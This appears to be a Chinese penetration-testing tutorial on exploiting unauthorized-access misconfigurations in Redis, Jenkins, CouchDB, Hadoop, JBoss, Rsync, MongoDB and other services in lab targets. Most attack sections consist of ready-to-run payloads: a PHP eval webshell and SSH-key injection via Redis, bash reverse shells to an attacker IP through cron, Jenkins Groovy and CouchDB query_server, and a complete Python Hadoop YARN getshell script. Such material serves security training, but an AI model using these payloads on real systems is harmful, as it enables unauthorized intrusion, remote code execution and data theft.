目录

一、Redis未授权访问

二、Elasticsearch未授权访问

三、Memcache未授权访问

四、JBoss未授权访问

五、Rsync未授权访问

六、Jenkins未授权访问

七、CouchDB未授权访问

八、Druid未授权访问

九、ZooKeeper未授权访问

十、MongoDB未授权访问

十一、hadoop未授权访问

十二、会话固定未授权访问

十三、其他未授权访问


一、Redis未授权访问

Redis是一个开源的数据库,由于配置不当导致可以造成未授权访问,从而造成信息泄露。攻击者可以通过写木马到web根路径下进行webshell,也可以通过编写定时任务和将root用户写入公钥文件中,利用ssh登录服务器。

1.在靶机上开启redis服务(redis-server /etc/redis.conf
),redis服务默认端口是6379,如果在平时的渗透测试中用nmap、fscan等软件发现这个端口开放的,就可以试试redis未授权访问漏洞

 

2.如果redis对外开放服务,且没有进行认证的使用,攻击者就可以尝试使用远程连接命令./redis-cli -h 192.168.246.128进行连接,并且测试是否拥有读写权限。


3.利用redis进行getshell,常见的方法有如下

向Web目录中写webshell的方式进行getshell
写corntab的方式进行getshell
写SSH key的方式进行getshell

3.1通过web目录进行写webshell,然后进行getshell,但是有一个限制条件是web目录的根路径要知道。
config set dir /var/www//html/
config set dbfilename su.php
set 1 "<?php @eval($_POST['su']);?>"
Save

在靶机网站根目录下发现木马文件已经写入成功,可以利用蚁剑等工具进行连接

3.2通过写corntab的方式进行getshell
config set dir /var/spool/cron/crontabs #设置文件夹的路径
config set dbfilename su #修改备份文件的名称
set -.- "\n\n\n0 * * * * bash -i >& /dev/tcp/198.168.246.130/9999 0>&1\n\n\n" #设置定时计划任务
save #保存



3.3通过写SSH key的方式进行getshell
ssh-keygen –t rsa  #本地生成公钥文件

将生成的公钥写入到文件中
(echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > su.txt

连接目标Redis,将保存的ssh公钥su.txt写入Redis中

设置路径、文件、写入公钥
config get dir   # 获取redis备份的路径
config set dir /root/.ssh/
config set dbfilename "authorized_keys"


ssh -i id_rsa root@192.168.246.128免密登录到靶机服务器上

4.msf下对于redis的利用模块

 auxiliary/scanner/redis/file_upload
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

二、Elasticsearch未授权访问

ElasticSearch 是一款Java编写的企业级搜索服务,ElasticSearch可以存储、检索数据;本身扩展性很好,可以扩展到上百台服务器,处理PB级别的数据,启动此服务默认会开放HTTP-9200端口,可被非法操作数据。如果在渗透测试中发现对方服务器开放了9200端口,可以对其进行Elasticsearch未授权访问测试。
1.开启elasticsearch靶场服务docker-compose up -d


2.对靶机进行访问,访问api接口信息,会直接回显服务器的相关信息,常用的api接口如下

http://localhost:9200/_nodes
http://localhost:9200/_nodes?prettify
http://localhost:9200/_cat/indices
http://localhost:9200/_plugin/head/
http://localhost:9200/_status
http://localhost:9200/_river
http://localhost:9200/_search?pretty


3.利用可视化软件ElasticHD远程连接,就可以看到节点服务器的数据
wget https://github.com/360EntSecGroup-Skylar/ElasticHD/releases/download/1.4/elasticHD_linux_amd64.zip  #kali下载安装包
unzip elasticHD_linux_amd64.zip   #解压安装包
chmod 777 ElasticHD              #给软件权限,可读可写可执行
exec ./ElasticHD -p 127.0.0.1:9800 #执行服务

 

 

三、Memcache未授权访问

Memcache能够提供临时数据存储服务,可以提高网站的整体性能,但由于memcache安全设计缺陷,默认开放的端口是11211,导致不需要密码就可以访问,攻击者可以直接连接服务器的11211端口获取数据库中的信息,导致信息泄露。
1.首先可以利用nmap、fscan等工具对测试范围的站点进行信息收集(nmap -sV -p11211 ip


2.通过telnet ip地址 端口(telnet 192.168.246.128 11211)来访问Memcache,连接到终端后输入stats项目验证漏洞的存在

3.可以执行指令stats items查看缓存,stats cachedump 3 0读取缓存key,
get value可以读取敏感信息
4.更多memcached指令可参考如下链接:
Memcached 教程 | 菜鸟教程

四、JBoss未授权访问


Jboss是是一个基于J2EE的开放源代码的应用服务器,攻击者可以通过未授权访问管理控制台,通过该漏洞,可以上传木马文件,造成命令执行等操作。
1.启动jboss未授权环境(CVE-2017-7504)  docker-compose up -d

2.访问网站的url,如果想要访问jboss数据需要登录(默认账号密码为admin/admin)

3.开启http服务,让靶机去访问下载攻击机的shell.war文件


4.访问未授权访问页面http://192.168.246.128:8080/jmx-console/,利用jboss.deployment模块上传shell

上传成功后,访问url可以进行webshell
http://192.168.246.128:8080/shell/mkzy.jsp

 

五、Rsync未授权访问


rsync是linux下的一款数据备份工具,rsync支持通过rsync协议、ssh协议来进行远程文件传输服务。 rsync协议默认开放的端口是873端口,如果目标服务器开启了rsync服务,且没有配置ACL限制或是访问密码,我们就可以通过rsync读写目标服务器文件。在平时的渗透测试中,如果目标服务器端口出现873端口,则可以尝试rsync未授权访问。
1.开启rsync未授权访问漏洞靶场(默认端口是873端口)docker-compose ud -d


2.由于该服务器没有设置ACL限制和访问密码,导致可以远程连接造成未授权访问(可以访问到服务器的资源信息)
rsync rsync://192.168.246.128:873/src

利用rsync下载任意文件
rsync rsync://192.168.246.128:873/src/etc/passwd ./ cat passwd

如果有web服务的话,可以通过上传木马文件到该服务器中,然后利用蚁剑等工具连接
rsync -av su.php rsync://192.168.246.128:873/src/var/www

  

 

六、Jenkins未授权访问


Jenkins在登陆之后,其后台有个”系统管理”模块,该模块有个”脚本命令行的”功能,它可以执行任意的脚本命令,该功能用于管理、故障探测或诊断,本来是正常的功能点,但由于在配置的时候没有对身份进行验证或者是攻击者通过弱口令、暴力破解等方式登录后台,导致攻击者可以对服务器进行命令执行。
1.开启jenkin靶场环境docker-compose up -d(CVE-2017-1000353)


2.访问jenkins页面,尝试默认账号密码admin/admin进入后台

3.利用系统管理模块的脚本命令执行功能对服务器进行操作
println 'whoami'.execute().text
println 'id'.execute().text


4.如果该用户有一定的权限的话可以执行反弹shell的命令或者是在web目录下写木马,然后利用nc -lvp 4445监听端口,或者是用蚁剑等工具进行木马连接。
println 'bash -i >& /dev/tcp/192.168.246.130/4445 0>&1'.execute().text

 

七、CouchDB未授权访问


CouchDB 是一个开源的数据库管理系统,默认开放5984端口,以JSON作为存储格式,以JavaScript作为查询语言,以MapReduce和HTTP作为API的NoSQL数据库。CouchDB会默认在5494端口开放Restful的API接口,从而用于数据库的管理功能。
CounchDB允许用户通过一个二进制程序或者脚本的方式来与CouchDB进行数据交互和处理,CouchDB在query_server中引入了外部的二进制程序来执行命令,所以攻击者可以通过更改这个配置,来利用数据库进行命令执行。Local.ini中query_server的配置格式如下所示

[query_servers]
LANGUAGE = PATH ARGS
默认情况下,配置文件中已经设置了两个query_servers:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.jscoffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

影响版本:小于1.7.0以及小于2.1.1
1.启动couchdb靶场环境docker-compose up -d(CVE-2017-12636)


2.利用curl指令对存在漏洞的ip进行访问,可以获取couchdb的部分信息
curl http://192.168.246.128:5984
curl http://192.168.246.128:5984/_config

3.couchdb1.6.0版本以下利用
curl -X PUT 'http://192.168.246.128:5984/_config/query_servers/merver' -d '"bash -i >& /dev/tcp/192.168.246.130/1234 0>&1"'

 

curl -X PUT 'http://192.168.246.128:5984/su123'

curl -X PUT 'http://192.168.246.128:5984/su123/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST 'http://192.168.246.128:5984/su123/_temp_view?limit=11' -d '{"language":"merver","map":""}' -H 'Content-Type: application/json'

第一个指令请求是添加一个名字为merver的query_servers配置,其值为"bash -i >& /dev/tcp/192.168.246.130/1234 0>&1",这就是我们后面待执行的命令。
第二、三个指令请求是添加一个Database和Document,这里添加了后面才能查询。
第四个指令请求调用query_server处理数据

八、Druid未授权访问


Druid是阿里巴巴研制的,为监控而生的数据库连接池,Druid的功能模块页面提供监控SQL的执行时间、监控Web的url请求、Session监控、Spring监控,如果管理员配置不当,导致Druid页面未授权访问的话,就会泄露这些监控的数据。
常见的Druid的路径名称如下

/druid/index.html
/druid/datasource.html
/druid/sql.html
/druid/wall.html
/druid/webapp.html
/druid/weburi.html
/druid/websession.html
/druid/spring.html
/druid/api.html

直接访问url,可以造成Druid模块的未授权访问,并且有执行操作,攻击者可以获取服务器的Session信息、网站url的路径信息、数据库的库名、表名、列名等。

九、ZooKeeper未授权访问


ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务。Zookeeper安装部署之后默认情况下不需要任何身份验证,默认开放的端口是2181端口,攻击者可以通过执行envi命令获取系统的敏感信息,例如系统名称、Java环境等信息。
1.尝试获取服务器的环境信息echo envi|nc 192.168.246.128 2181


2.
攻击者可以通过执行envi命令来获得服务器的敏感信息,例如系统名称、Java环境。

stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.246.128 2181

ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.246.128 2181

reqs:列出未完成的请求。
echo reqs |nc 192.168.246.128 2181

envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.246.128 2181

dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.246.128 2181

3.可以利用zookeeper可视化管理工具进行连接
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

 

 

十、MongoDB未授权访问


MongoDB是一个基于分布式文件存储的数据库,默认是直接连接,不需要进行身份验证,如果当前MongoDB可以在公网访问到,管理员没有隐藏Mongodb的默认端口(27017),那么就会产生安全风险,被攻击者搜集到端口信息,然后利用未授权访问漏洞,入侵数据库。
1.在kali的msf攻击模块进行mongodb的登录认证扫描,可以看到该服务器不需要登录认证

use auxiliary/scanner/mongodb/mongodb_login
set rhosts 172.17.0.1
set threads 10
exploit


2.可以利用图形化工具对数据库进行远程连接

 

十一、hadoop未授权访问


Hadoop是一个分布式系统基础架构,用户可以在不了解分布式底层细节的情况下,开发分布式程序,攻击者可以通过hadoop来进行命令执行操作。在无需认证的情况下调用 New Application API 创建 Application,调用 Submit Application API 提交数据,造成getshell。
1.启动hadoop靶场环境docker-compose up -d



2.执行getshell脚本,在无需认证的情况下调用 New Application API 创建 Application,调用 Submit Application API 提交数据。

 

import requests
target = 'http://192.168.246.128:8088/'
lhost = '192.168.246.130' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)


开启监听nc -lvp 9999获取shell权限

 

十二、会话固定未授权访问


会话是在用户登录之后,服务器分发一个身份验证,例如JWT会话是由三段值构成的,当用户退出登录或者清除cookie操作时,会话会更新,但是不会进行销毁,这个时候就造成了会话固定攻击。网站后台识别身份验证基于会话,如果session值保持不变,攻击者就可以在未登录的情况下访问后台数据(利用Session值),从而造成未授权访问。
1.登录网站后分发一段session,以jwt会话为例,这个session由三段组成,前两段是头部和载荷,最后一段就是身份验证(签名),攻击者可以通过会话固定攻击来进行未授权访问漏洞。

eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxNDcwOTM1NDM0NzU0ODU5MDA5IiwiaWF0IjoxNjM5NjQwMzkxLCJzdWIiOiJQOUtpbmRHM3pBYnNMMlNpNmtuZWZRPT0iLCJpc3MiOiJYTS1VTklPTi1FRFUtT05MSU5FIiwiZXhwIjoxNjM5NjUwMzkxfQ.SsYXYoo1LnQesJtdlaY9pLbHGspr2bNUtxK9IN1B9hn

2.也可以通过枚举第三段的值来枚举其他用户的session值,从而获取更多的信息数据。

十三、其他未授权访问


1.未授权访问在平时的渗透测试中还是比较常见的,我说的是在企业做渗透测试的时候,因为有的项目是刚做测试或者是之前测试排查的时候没有都排查出来。未授权访问在不同框架、不同模板、不同服务的测试手段不一样,例如上述的端口扫描中发现的一些可能存在未授权访问漏洞的端口(6379、9200、11211、873、5984、2181、27017),可以利用网上的思路去做测试。如果是类似spring boot、swagger这种框架做的网页,就需要通过枚举特定的url去判断是否存在未授权访问漏洞。
2.未授权访问如果仅仅能查看数据的话,危害会比较小,如果能够进行操作,那么危害就会进一步扩大。在平时的渗透测试工作中,往往一个站对身份鉴别做的很好,每一个点都存在身份鉴别。但是有些地方还是不会做身份鉴别,例如有些后台有“导出数据”功能点、“新建、编辑、查看”功能点、“数据比较不敏感的功能点”等,在做未授权访问漏洞测试的时候,不要放过每一个功能点,管理员可能因为觉得危害不大就会放松对该模块的身份验证。

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐